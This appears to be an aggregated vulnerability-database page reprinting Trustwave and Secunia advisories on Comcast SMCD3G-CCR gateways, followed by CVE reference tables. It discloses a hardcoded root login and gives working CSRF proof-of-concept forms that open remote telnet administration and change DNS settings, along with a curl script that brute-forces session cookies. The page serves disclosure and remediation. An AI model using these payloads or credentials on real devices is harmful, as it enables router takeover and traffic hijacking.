\u003cscript\u003e\nsetTimeout(\"document.WanIPform.submit()\",5000);\n\u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n\nIf the PoC was embedded in any web page the targeted user visited while\nlogged into the device, the attacker would be provided remote\nadministration in to the gateway device include a telnet shell. This would\nallow the attacker to redirect traffic to a malicious end-point. \n\n\nFinding 3: Weak Session Management\nCVE: CVE-2011-0887\nSMCD3G-CCR gateways provided by Comcast utilize a predictable value to\nvalidate the active web management portal session. The epoch time of\nbeginning of the session is stored as a cookie labeled \"userid\". This\nprovides a predictable range of session IDs that can be brute-forced. \n\nThe following PoC attempts to brute force the session IDs by requesting the\nadmin page with an incrementing cookie and determining whether it wants to\nredirect to login.asp. \n\n## smcd3g-session-poc.sh\n\n#!/bin/bash\nstart=1267604160\nend=1267605960\nfor (( i=$start; i\u003c=$end; i++)) do if [ `curl -sb userid=$i\nhttp://10.1.10.1/admin/index.asp | grep -c login.asp` -lt\n\"1\" ] then echo \"Session ID Found: $i\"\nfi\nif [ $(($i % 100)) -eq \"0\" ]\nthen echo \"Currently at $i\"\nfi\ndone\n\nThrough this, an attacker can brute-force the possible valid session IDs. \nSessions do by default expire within 10 minutes, thus the attack window is\nlimited but can be leveraged with other attack methods. \n\n\nVendor Response:\nThese issues have been addressed as of version 1.4.0.49.2\n\nRemediation Steps:\nIn order to determine if the correct version is installed, users should\nview the \"About\" link in the management interface. Versions 1.4.0.49.2 and\nabove have been corrected. \n\nVendor Communication Timeline:\n08/30/10 - Vulnerability disclosed\n01/21/11 - Patch Released\n02/04/11 - Advisory Published\n\nRevision History:\n1.0 Initial publication\n\nReferences\n1. http://www.smc.com/index.cfm?event=viewProduct\u0026pid=1678\n\n\nAbout Trustwave:\nTrustwave is the leading provider of on-demand and subscription-based\ninformation security and payment card industry compliance management\nsolutions to businesses and government entities throughout the world. For\norganizations faced with today\u0027s challenging data security and compliance\nenvironment, Trustwave provides a unique approach with comprehensive\nsolutions that include its flagship TrustKeeper compliance management\nsoftware and other proprietary security solutions. Trustwave has helped\nthousands of organizations--ranging from Fortune 500 businesses and large\nfinancial institutions to small and medium-sized retailers--manage\ncompliance and secure their network infrastructure, data communications and\ncritical information assets. Trustwave is headquartered in Chicago with\noffices throughout North America, South America, Europe, Africa, China and\nAustralia. For more information, visit https://www.trustwave.com\n\nAbout Trustwave\u0027s SpiderLabs:\nSpiderLabs(R) is the advanced security team at Trustwave focused on\napplication security, incident response, penetration testing, physical\nsecurity and security research. The team has performed over a thousand\nincident investigations, thousands of penetration tests and hundreds of\napplication security tests globally. In addition, the SpiderLabs Research\nteam provides intelligence through bleeding-edge research and proof of\nconcept tool development to enhance Trustwave\u0027s products and services. \nhttps://www.trustwave.com/spiderlabs\n\nDisclaimer:\nThe information provided in this advisory is provided \"as is\" without\nwarranty of any kind. Trustwave disclaims all warranties, either express or\nimplied, including the warranties of merchantability and fitness for a\nparticular purpose. In no event shall Trustwave or its suppliers be liable\nfor any damages whatsoever including direct, indirect, incidental,\nconsequential, loss of business profits or special damages, even if\nTrustwave or its suppliers have been advised of the possibility of such\ndamages. Some states do not allow the exclusion or limitation of liability\nfor consequential or incidental damages so the foregoing limitation may not\napply. \n\n\n\nThis transmission may contain information that is privileged, confidential, and/or exempt from disclosure under applicable law. If you are not the intended recipient, you are hereby notified that any disclosure, copying, distribution, or use of the information contained herein (including any reliance thereon) is STRICTLY PROHIBITED. If you received this transmission in error, please immediately contact the sender and destroy the material in its entirety, whether in electronic or hard copy format. \n\n_______________________________________________\nFull-Disclosure - We believe in it. \nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n",
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VAR-201102-0084
Vulnerability from variot - Updated: 2023-12-18 12:31Multiple cross-site request forgery (CSRF) vulnerabilities in the web interface on the SMC SMCD3G-CCR (aka Comcast Business Gateway) with firmware before 1.4.0.49.2 allow remote attackers to (1) hijack the intranet connectivity of arbitrary users for requests that perform a login via goform/login, or hijack the authentication of administrators for requests that (2) enable external logins via an mso_remote_enable action to goform/RemoteRange or (3) change DNS settings via a manual_dns_enable action to goform/Basic. Comcast DOCSIS is prone to multiple cross-site request-forgery and security-bypass vulnerabilities in business gateways. Exploiting these issues may allow a remote attacker to perform certain administrative actions, bypass certain security restrictions, gain unauthorized access to the affected device, or delete certain data. Other attacks are also possible. Comcast DOCSIS 3.0 is vulnerable; other versions may also be affected. ----------------------------------------------------------------------
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TITLE: SMC SMCD3G-CCR Two Vulnerabilities
SECUNIA ADVISORY ID: SA43199
VERIFY ADVISORY: Secunia.com http://secunia.com/advisories/43199/ Customer Area (Credentials Required) https://ca.secunia.com/?page=viewadvisory&vuln_id=43199
RELEASE DATE: 2011-03-05
DISCUSS ADVISORY: http://secunia.com/advisories/43199/#comments
AVAILABLE ON SITE AND IN CUSTOMER AREA: * Last Update * Popularity * Comments * Criticality Level * Impact * Where * Solution Status * Operating System / Software * CVE Reference(s)
http://secunia.com/advisories/43199/
ONLY AVAILABLE IN CUSTOMER AREA: * Authentication Level * Report Reliability * Secunia PoC * Secunia Analysis * Systems Affected * Approve Distribution * Remediation Status * Secunia CVSS Score * CVSS
https://ca.secunia.com/?page=viewadvisory&vuln_id=43199
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DESCRIPTION: Two vulnerabilities have been reported in SMC SMCD3G-CCR, which can be exploited by malicious people to conduct brute force and cross-site request forgery attacks.
1) The web management application generates session identifiers incrementally, which can be exploited to brute force a valid session identifier via the "userid" cookie.
2) The web management application allows users to perform certain actions via HTTP requests without making proper validity checks to verify the requests. This can be exploited to e.g. enable management via Telnet by tricking an administrator into visiting a malicious web site while being logged-in to the application.
SOLUTION: Reportedly fixed in firmware version 1.4.0.49.2.
PROVIDED AND/OR DISCOVERED BY: Zack Fasel and Matthew Jakubowski, Trustwave's SpiderLabs.
ORIGINAL ADVISORY: Trustwave's SpiderLabs (TWSL2011-002): https://www.trustwave.com/spiderlabs/advisories/TWSL2011-002.txt
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EXTENDED DESCRIPTION: Further details available in Customer Area: http://secunia.com/products/corporate/EVM/
EXTENDED SOLUTION: Further details available in Customer Area: http://secunia.com/products/corporate/EVM/
EXPLOIT: Further details available in Customer Area: http://secunia.com/products/corporate/EVM/
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. Trustwave's SpiderLabs Security Advisory TWSL2011-001: Vulnerabilities in Comcast DOCSIS 3.0 Business Gateways (SMCD3G-CCR)
https://www.trustwave.com/spiderlabs/advisories/TWSL2011-002.txt
Published: 2011-02-04 Version: 1.0
Vendor: Comcast (http://comcast.com) and SMC (http://www.smc.com) Product: Comcast DOCSIS 3.0 Business Gateway - SMCD3G-CCR Version affected: Versions prior to 1.4.0.49.2
Product description: The Comcast DOCSIS 3.0 Business Gateway provides end-user termination of cable internet services for Comcast Business Class customers with enhanced services including Network Address Translation (NAT), firewalling, and Virtual Private Network (VPN) termination.
Credit: Zack Fasel and Matthew Jakubowski of Trustwave's SpiderLabs
Finding 1: Static Credentials CVE: CVE-2011-0885
All SMCD3G-CCR gateways provided by Comcast have an administrative login of "mso" with the password of "D0nt4g3tme". These passwords are not provided as a part of the installation of the device and are not recommended to be changed, thus the majority of users are unaware of the default configuration.
With these default credentials, internal attackers can modify device configurations to leverage more significant attacks, including redirection of DNS requests, creation of a remote VPN termination point, and modification of NAT entries. These credentials provide access to the web interface for management, as well as a telnet interface that provides shell access to the device. The mso login provides shell as UID 0 (root).
Finding 2: Cross Site Request Forgery (CSRF) CVE: CVE-2011-0886 SMCD3G-CCR gateways provided by Comcast permit CSRF attacks against numerous management pages allowing an attacker to embed in a webpage a malicious request against the gateway's management interface. Through this, an attacker can modify device configuration and enable remote administration via a telnet shell and http.
The following Proof of Concept (PoC) connects to the gateway, logs in, modifies the remote administration to allow any user to connect externally, and modifies the DNS information.
smcd3g-csrf-poc.htm
smcd3g-csrf-poc-1.htm
document.tF.submit();smcd3g-csrf-poc-2.htm
setTimeout("document.RMangement.submit()",4000);
smcd3g-csrf-poc-3.htm
setTimeout("document.WanIPform.submit()",5000);If the PoC was embedded in any web page the targeted user visited while logged into the device, the attacker would be provided remote administration in to the gateway device include a telnet shell. This would allow the attacker to redirect traffic to a malicious end-point.
Finding 3: Weak Session Management CVE: CVE-2011-0887 SMCD3G-CCR gateways provided by Comcast utilize a predictable value to validate the active web management portal session. The epoch time of beginning of the session is stored as a cookie labeled "userid". This provides a predictable range of session IDs that can be brute-forced.
The following PoC attempts to brute force the session IDs by requesting the admin page with an incrementing cookie and determining whether it wants to redirect to login.asp.
smcd3g-session-poc.sh
!/bin/bash
start=1267604160
end=1267605960
for (( i=$start; i<=$end; i++)) do if [ curl -sb userid=$i
http://10.1.10.1/admin/index.asp | grep -c login.asp -lt
"1" ] then echo "Session ID Found: $i"
fi
if [ $(($i % 100)) -eq "0" ]
then echo "Currently at $i"
fi
done
Through this, an attacker can brute-force the possible valid session IDs. Sessions do by default expire within 10 minutes, thus the attack window is limited but can be leveraged with other attack methods.
Vendor Response: These issues have been addressed as of version 1.4.0.49.2
Remediation Steps: In order to determine if the correct version is installed, users should view the "About" link in the management interface. Versions 1.4.0.49.2 and above have been corrected.
Vendor Communication Timeline: 08/30/10 - Vulnerability disclosed 01/21/11 - Patch Released 02/04/11 - Advisory Published
Revision History: 1.0 Initial publication
References 1. http://www.smc.com/index.cfm?event=viewProduct&pid=1678
About Trustwave: Trustwave is the leading provider of on-demand and subscription-based information security and payment card industry compliance management solutions to businesses and government entities throughout the world. For organizations faced with today's challenging data security and compliance environment, Trustwave provides a unique approach with comprehensive solutions that include its flagship TrustKeeper compliance management software and other proprietary security solutions. Trustwave has helped thousands of organizations--ranging from Fortune 500 businesses and large financial institutions to small and medium-sized retailers--manage compliance and secure their network infrastructure, data communications and critical information assets. Trustwave is headquartered in Chicago with offices throughout North America, South America, Europe, Africa, China and Australia. For more information, visit https://www.trustwave.com
About Trustwave's SpiderLabs: SpiderLabs(R) is the advanced security team at Trustwave focused on application security, incident response, penetration testing, physical security and security research. The team has performed over a thousand incident investigations, thousands of penetration tests and hundreds of application security tests globally. In addition, the SpiderLabs Research team provides intelligence through bleeding-edge research and proof of concept tool development to enhance Trustwave's products and services. https://www.trustwave.com/spiderlabs
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Other attacks are also possible. \nComcast DOCSIS 3.0 is vulnerable; other versions may also be affected. ----------------------------------------------------------------------\n\n\nGet a tax break on purchases of Secunia Solutions!\n\nIf you are a U.S. company, you may be qualified for a tax break for your software purchases. Learn more at:\nhttp://secunia.com/products/corporate/vim/section_179/\n\n\n----------------------------------------------------------------------\n\nTITLE:\nSMC SMCD3G-CCR Two Vulnerabilities\n\nSECUNIA ADVISORY ID:\nSA43199\n\nVERIFY ADVISORY:\nSecunia.com\nhttp://secunia.com/advisories/43199/\nCustomer Area (Credentials Required)\nhttps://ca.secunia.com/?page=viewadvisory\u0026vuln_id=43199\n\nRELEASE DATE:\n2011-03-05\n\nDISCUSS ADVISORY:\nhttp://secunia.com/advisories/43199/#comments\n\nAVAILABLE ON SITE AND IN CUSTOMER AREA:\n * Last Update\n * Popularity\n * Comments\n * Criticality Level\n * Impact\n * Where\n * Solution Status\n * Operating System / Software\n * CVE Reference(s)\n\nhttp://secunia.com/advisories/43199/\n\nONLY AVAILABLE IN CUSTOMER AREA:\n * Authentication Level\n * Report Reliability\n * Secunia PoC\n * Secunia Analysis\n * Systems Affected\n * Approve Distribution\n * Remediation Status\n * Secunia CVSS Score\n * CVSS\n\nhttps://ca.secunia.com/?page=viewadvisory\u0026vuln_id=43199\n\nONLY AVAILABLE WITH SECUNIA CSI AND SECUNIA PSI:\n * AUTOMATED SCANNING\n\nhttp://secunia.com/vulnerability_scanning/personal/\nhttp://secunia.com/vulnerability_scanning/corporate/wsus_sccm_3rd_third_party_patching/\n\nDESCRIPTION:\nTwo vulnerabilities have been reported in SMC SMCD3G-CCR, which can\nbe exploited by malicious people to conduct brute force and\ncross-site request forgery attacks. \n\n1) The web management application generates session identifiers\nincrementally, which can be exploited to brute force a valid session\nidentifier via the \"userid\" cookie. \n\n2) The web management application allows users to perform certain\nactions via HTTP requests without making proper validity checks to\nverify the requests. This can be exploited to e.g. enable management\nvia Telnet by tricking an administrator into visiting a malicious web\nsite while being logged-in to the application. \n\nSOLUTION:\nReportedly fixed in firmware version 1.4.0.49.2. \n\nPROVIDED AND/OR DISCOVERED BY:\nZack Fasel and Matthew Jakubowski, Trustwave\u0027s SpiderLabs. \n\nORIGINAL ADVISORY:\nTrustwave\u0027s SpiderLabs (TWSL2011-002):\nhttps://www.trustwave.com/spiderlabs/advisories/TWSL2011-002.txt\n\nOTHER REFERENCES:\nFurther details available in Customer Area:\nhttp://secunia.com/products/corporate/EVM/\n\nDEEP LINKS:\nFurther details available in Customer Area:\nhttp://secunia.com/products/corporate/EVM/\n\nEXTENDED DESCRIPTION:\nFurther details available in Customer Area:\nhttp://secunia.com/products/corporate/EVM/\n\nEXTENDED SOLUTION:\nFurther details available in Customer Area:\nhttp://secunia.com/products/corporate/EVM/\n\nEXPLOIT:\nFurther details available in Customer Area:\nhttp://secunia.com/products/corporate/EVM/\n\n----------------------------------------------------------------------\n\nAbout:\nThis Advisory was delivered by Secunia as a free service to help\nprivate users keeping their systems up to date against the latest\nvulnerabilities. \n\nSubscribe:\nhttp://secunia.com/advisories/secunia_security_advisories/\n\nDefinitions: (Criticality, Where etc.)\nhttp://secunia.com/advisories/about_secunia_advisories/\n\n\nPlease Note:\nSecunia recommends that you verify all advisories you receive by\nclicking the link. \nSecunia NEVER sends attached files with advisories. \nSecunia does not advise people to install third party patches, only\nuse those supplied by the vendor. \n\n----------------------------------------------------------------------\n\nUnsubscribe: Secunia Security Advisories\nhttp://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org\n\n----------------------------------------------------------------------\n\n\n. Trustwave\u0027s SpiderLabs Security Advisory TWSL2011-001:\nVulnerabilities in Comcast DOCSIS 3.0 Business Gateways\n(SMCD3G-CCR)\n\nhttps://www.trustwave.com/spiderlabs/advisories/TWSL2011-002.txt\n\nPublished: 2011-02-04\nVersion: 1.0\n\nVendor: Comcast (http://comcast.com) and SMC (http://www.smc.com)\nProduct: Comcast DOCSIS 3.0 Business Gateway - SMCD3G-CCR\nVersion affected: Versions prior to 1.4.0.49.2\n\nProduct description:\nThe Comcast DOCSIS 3.0 Business Gateway provides end-user termination of\ncable internet services for Comcast Business Class customers with enhanced\nservices including Network Address Translation (NAT), firewalling, and\nVirtual Private Network (VPN) termination. \n\nCredit: Zack Fasel and Matthew Jakubowski of Trustwave\u0027s SpiderLabs\n\nFinding 1: Static Credentials\nCVE: CVE-2011-0885\n\nAll SMCD3G-CCR gateways provided by Comcast have an administrative\nlogin of \"mso\" with the password of \"D0nt4g3tme\". These passwords\nare not provided as a part of the installation of the device and are\nnot recommended to be changed, thus the majority of users are unaware\nof the default configuration. \n\nWith these default credentials, internal attackers can modify device\nconfigurations to leverage more significant attacks, including redirection\nof DNS requests, creation of a remote VPN termination point, and\nmodification of NAT entries. These credentials provide access to the web\ninterface for management, as well as a telnet interface that provides shell\naccess to the device. The mso login provides shell as UID 0 (root). \n\n\nFinding 2: Cross Site Request Forgery (CSRF)\nCVE: CVE-2011-0886\nSMCD3G-CCR gateways provided by Comcast permit CSRF attacks against\nnumerous management pages allowing an attacker to embed in a webpage a\nmalicious request against the gateway\u0027s management interface. Through\nthis, an attacker can modify device configuration and enable remote\nadministration via a telnet shell and http. \n\nThe following Proof of Concept (PoC) connects to the gateway, logs in,\nmodifies the remote administration to allow any user to connect externally,\nand modifies the DNS information. \n\n## smcd3g-csrf-poc.htm\n\n\u003chtml\u003e\n\u003cbody\u003e\n\u003ciframe src=\"./smcd3g-csrf-poc-1.htm\" width=\"1\" height=\"1\"\u003e\n\u003c/iframe\u003e\n\u003ciframe src=\"./smcd3g-csrf-poc-2.htm\" width=\"1\" height=\"1\"\u003e\n\u003c/iframe\u003e\n\u003ciframe src=\"./smcd3g-csrf-poc-3.htm\" width=\"1\" height=\"1\"\u003e\n\u003c/iframe\u003e \u003c/body\u003e \u003c/html\u003e\n\n## smcd3g-csrf-poc-1.htm\n\n\u003chtml\u003e\n\u003cbody\u003e\n\u003cform action=\"http://10.1.10.1/goform/login\" method=\"post\"\n name=\"tF\"\u003e\n\u003cinput type=\"hidden\" name=\"user\" value=\"mso\" /\u003e\n\u003cinput type=\"hidden\" name=\"pws\" value=\"D0nt4g3tme\" /\u003e\n\u003c/form\u003e \u003cscript\u003e document.tF.submit(); \u003c/script\u003e \u003c/body\u003e\n\u003c/html\u003e\n\n## smcd3g-csrf-poc-2.htm\n\n\u003chtml\u003e\n\u003cbody\u003e\n\u003cform action=\"http://10.1.10.1/goform/RemoteRange\"\nname=\"RMangement\" method=\"post\"\u003e \u003cinput type=\"hidden\"\nvalue=\"feat-admin-remote\" name=\"file\"\u003e \u003cinput type=\"hidden\"\nvalue=\"admin/\" name=\"dir\"\u003e \u003cinput type=\"hidden\"\nname=\"RemoteRange\" value=\"0\" /\u003e \u003cinput type=\"hidden\"\nname=\"rm_access\" value=\"on\" /\u003e \u003cinput type=\"hidden\"\nname=\"Remote0\" value=\"0.0.0.0,0.0.0.0,1\" /\u003e \u003cinput\ntype=\"hidden\" name=\"http_port\" value=\"8080\" /\u003e \u003cinput\ntype=\"hidden\" name=\"http_enable\" value=\"on\" /\u003e \u003cinput\ntype=\"hidden\" name=\"http_flag\" value=\"1\" /\u003e \u003cinput\ntype=\"hidden\" name=\"msoremote_enableCheck\" value=\"on\" /\u003e\n\u003cinput type=\"hidden\" name=\"mso_remote_enable\" value=\"1\" /\u003e\n\u003cinput type=\"hidden\" name=\"remote_enable\" value=\"0\" /\u003e\n\u003cinput type=\"hidden\" name=\"https_enable\" value=\"on\" /\u003e\n\u003cinput type=\"hidden\" name=\"https_port\" value=\"8181\" /\u003e\n\u003cinput type=\"hidden\" name=\"https_flag\" value=\"1\" /\u003e \u003cinput\ntype=\"hidden\" name=\"telnet_enable\" value=\"on\" /\u003e \u003cinput\ntype=\"hidden\" name=\"telnet_port\" value=\"2323\" /\u003e \u003cinput\ntype=\"hidden\" name=\"telnet_flag\" value=\"1\" /\u003e \u003cinput\ntype=\"hidden\" name=\"Remote1=\" value=\"\" /\u003e \u003c/form\u003e \u003c/body\u003e\n\u003c/html\u003e \u003cscript\u003e\nsetTimeout(\"document.RMangement.submit()\",4000);\n\u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n\n## smcd3g-csrf-poc-3.htm\n\n\u003chtml\u003e\n\u003cbody\u003e\n\u003cform name=\"WanIPform\"\naction=\"http://10.1.10.1/goform/Basic\" method=\"post\"\u003e \u003cinput\ntype=\"hidden\" value=\"feat-wan-ip\" name=\"file\"\u003e \u003cinput\ntype=\"hidden\" value=\"admin/\" name=\"dir\"\u003e \u003cinput\ntype=\"hidden\" value=\"Fixed\" name=\"DNSAssign\"\u003e \u003cinput\ntype=\"hidden\" value=\"0\" name=\"dhcpc_release\"\u003e \u003cinput\ntype=\"hidden\" value=\"0\" name=\"dhcpc_renew\"\u003e \u003cinput\ntype=\"hidden\" value=\"\" name=\"domain_name\"\u003e \u003cinput\ntype=\"hidden\" value=\"\" name=\"WDn\"\u003e \u003cinput type=\"hidden\"\nname=\"SysName\" value=\"\" /\u003e \u003cinput type=\"hidden\"\nname=\"manual_dns_enable\" value=\"on\" /\u003e \u003cinput type=\"hidden\"\nname=\"DAddr\" value=\"4.2.2.1\" /\u003e \u003cinput type=\"hidden\"\nname=\"DAddr0\" value=\"4\" /\u003e \u003cinput type=\"hidden\"\nname=\"DAddr1\" value=\"2\" /\u003e \u003cinput type=\"hidden\"\nname=\"DAddr2\" value=\"2\" /\u003e \u003cinput type=\"hidden\"\nname=\"DAddr3\" value=\"1\" /\u003e \u003cinput type=\"hidden\"\nname=\"PDAddr\" value=\"4.2.2.2\" /\u003e \u003cinput type=\"hidden\"\nname=\"PDAddr0\" value=\"4\" /\u003e \u003cinput type=\"hidden\"\nname=\"PDAddr1\" value=\"2\" /\u003e \u003cinput type=\"hidden\"\nname=\"PDAddr2\" value=\"2\" /\u003e \u003cinput type=\"hidden\"\nname=\"PDAddr3\" value=\"2\" /\u003e \u003c/form\u003e \u003cscript\u003e\nsetTimeout(\"document.WanIPform.submit()\",5000);\n\u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n\nIf the PoC was embedded in any web page the targeted user visited while\nlogged into the device, the attacker would be provided remote\nadministration in to the gateway device include a telnet shell. This would\nallow the attacker to redirect traffic to a malicious end-point. \n\n\nFinding 3: Weak Session Management\nCVE: CVE-2011-0887\nSMCD3G-CCR gateways provided by Comcast utilize a predictable value to\nvalidate the active web management portal session. The epoch time of\nbeginning of the session is stored as a cookie labeled \"userid\". This\nprovides a predictable range of session IDs that can be brute-forced. \n\nThe following PoC attempts to brute force the session IDs by requesting the\nadmin page with an incrementing cookie and determining whether it wants to\nredirect to login.asp. \n\n## smcd3g-session-poc.sh\n\n#!/bin/bash\nstart=1267604160\nend=1267605960\nfor (( i=$start; i\u003c=$end; i++)) do if [ `curl -sb userid=$i\nhttp://10.1.10.1/admin/index.asp | grep -c login.asp` -lt\n\"1\" ] then echo \"Session ID Found: $i\"\nfi\nif [ $(($i % 100)) -eq \"0\" ]\nthen echo \"Currently at $i\"\nfi\ndone\n\nThrough this, an attacker can brute-force the possible valid session IDs. \nSessions do by default expire within 10 minutes, thus the attack window is\nlimited but can be leveraged with other attack methods. \n\n\nVendor Response:\nThese issues have been addressed as of version 1.4.0.49.2\n\nRemediation Steps:\nIn order to determine if the correct version is installed, users should\nview the \"About\" link in the management interface. Versions 1.4.0.49.2 and\nabove have been corrected. \n\nVendor Communication Timeline:\n08/30/10 - Vulnerability disclosed\n01/21/11 - Patch Released\n02/04/11 - Advisory Published\n\nRevision History:\n1.0 Initial publication\n\nReferences\n1. http://www.smc.com/index.cfm?event=viewProduct\u0026pid=1678\n\n\nAbout Trustwave:\nTrustwave is the leading provider of on-demand and subscription-based\ninformation security and payment card industry compliance management\nsolutions to businesses and government entities throughout the world. For\norganizations faced with today\u0027s challenging data security and compliance\nenvironment, Trustwave provides a unique approach with comprehensive\nsolutions that include its flagship TrustKeeper compliance management\nsoftware and other proprietary security solutions. Trustwave has helped\nthousands of organizations--ranging from Fortune 500 businesses and large\nfinancial institutions to small and medium-sized retailers--manage\ncompliance and secure their network infrastructure, data communications and\ncritical information assets. Trustwave is headquartered in Chicago with\noffices throughout North America, South America, Europe, Africa, China and\nAustralia. For more information, visit https://www.trustwave.com\n\nAbout Trustwave\u0027s SpiderLabs:\nSpiderLabs(R) is the advanced security team at Trustwave focused on\napplication security, incident response, penetration testing, physical\nsecurity and security research. The team has performed over a thousand\nincident investigations, thousands of penetration tests and hundreds of\napplication security tests globally. In addition, the SpiderLabs Research\nteam provides intelligence through bleeding-edge research and proof of\nconcept tool development to enhance Trustwave\u0027s products and services. \nhttps://www.trustwave.com/spiderlabs\n\nDisclaimer:\nThe information provided in this advisory is provided \"as is\" without\nwarranty of any kind. Trustwave disclaims all warranties, either express or\nimplied, including the warranties of merchantability and fitness for a\nparticular purpose. In no event shall Trustwave or its suppliers be liable\nfor any damages whatsoever including direct, indirect, incidental,\nconsequential, loss of business profits or special damages, even if\nTrustwave or its suppliers have been advised of the possibility of such\ndamages. Some states do not allow the exclusion or limitation of liability\nfor consequential or incidental damages so the foregoing limitation may not\napply. \n\n\n\nThis transmission may contain information that is privileged, confidential, and/or exempt from disclosure under applicable law. If you are not the intended recipient, you are hereby notified that any disclosure, copying, distribution, or use of the information contained herein (including any reliance thereon) is STRICTLY PROHIBITED. If you received this transmission in error, please immediately contact the sender and destroy the material in its entirety, whether in electronic or hard copy format. \n\n_______________________________________________\nFull-Disclosure - We believe in it. \nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n",
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CVE-2017-9475 (GCVE-0-2017-9475)
Vulnerability from nvd – Published: 2017-07-31 03:00 – Updated: 2024-08-05 17:11- n/a
| URL | Tags |
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| https://github.com/BastilleResearch/CableTap/blob… | x_refsource_MISC |
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CVE-2016-2398 (GCVE-0-2016-2398)
Vulnerability from nvd – Published: 2016-02-17 16:00 – Updated: 2024-09-16 17:23- n/a
| URL | Tags |
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| http://www.kb.cert.org/vuls/id/418072 | third-party-advisoryx_refsource_CERT-VN |
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CVE-2014-5747 (GCVE-0-2014-5747)
Vulnerability from nvd – Published: 2014-09-09 10:00 – Updated: 2024-08-06 11:55- n/a
| URL | Tags |
|---|---|
| http://www.kb.cert.org/vuls/id/743801 | third-party-advisoryx_refsource_CERT-VN |
| http://www.kb.cert.org/vuls/id/582497 | third-party-advisoryx_refsource_CERT-VN |
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CVE-2017-9475 (GCVE-0-2017-9475)
Vulnerability from cvelistv5 – Published: 2017-07-31 03:00 – Updated: 2024-08-05 17:11- n/a
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| https://github.com/BastilleResearch/CableTap/blob… | x_refsource_MISC |
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CVE-2016-2398 (GCVE-0-2016-2398)
Vulnerability from cvelistv5 – Published: 2016-02-17 16:00 – Updated: 2024-09-16 17:23- n/a
| URL | Tags |
|---|---|
| http://www.wired.com/2016/01/xfinitys-security-sy… | x_refsource_MISC |
| https://community.rapid7.com/community/infosec/bl… | x_refsource_MISC |
| http://www.kb.cert.org/vuls/id/418072 | third-party-advisoryx_refsource_CERT-VN |
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CVE-2014-5747 (GCVE-0-2014-5747)
Vulnerability from cvelistv5 – Published: 2014-09-09 10:00 – Updated: 2024-08-06 11:55- n/a
| URL | Tags |
|---|---|
| http://www.kb.cert.org/vuls/id/743801 | third-party-advisoryx_refsource_CERT-VN |
| http://www.kb.cert.org/vuls/id/582497 | third-party-advisoryx_refsource_CERT-VN |
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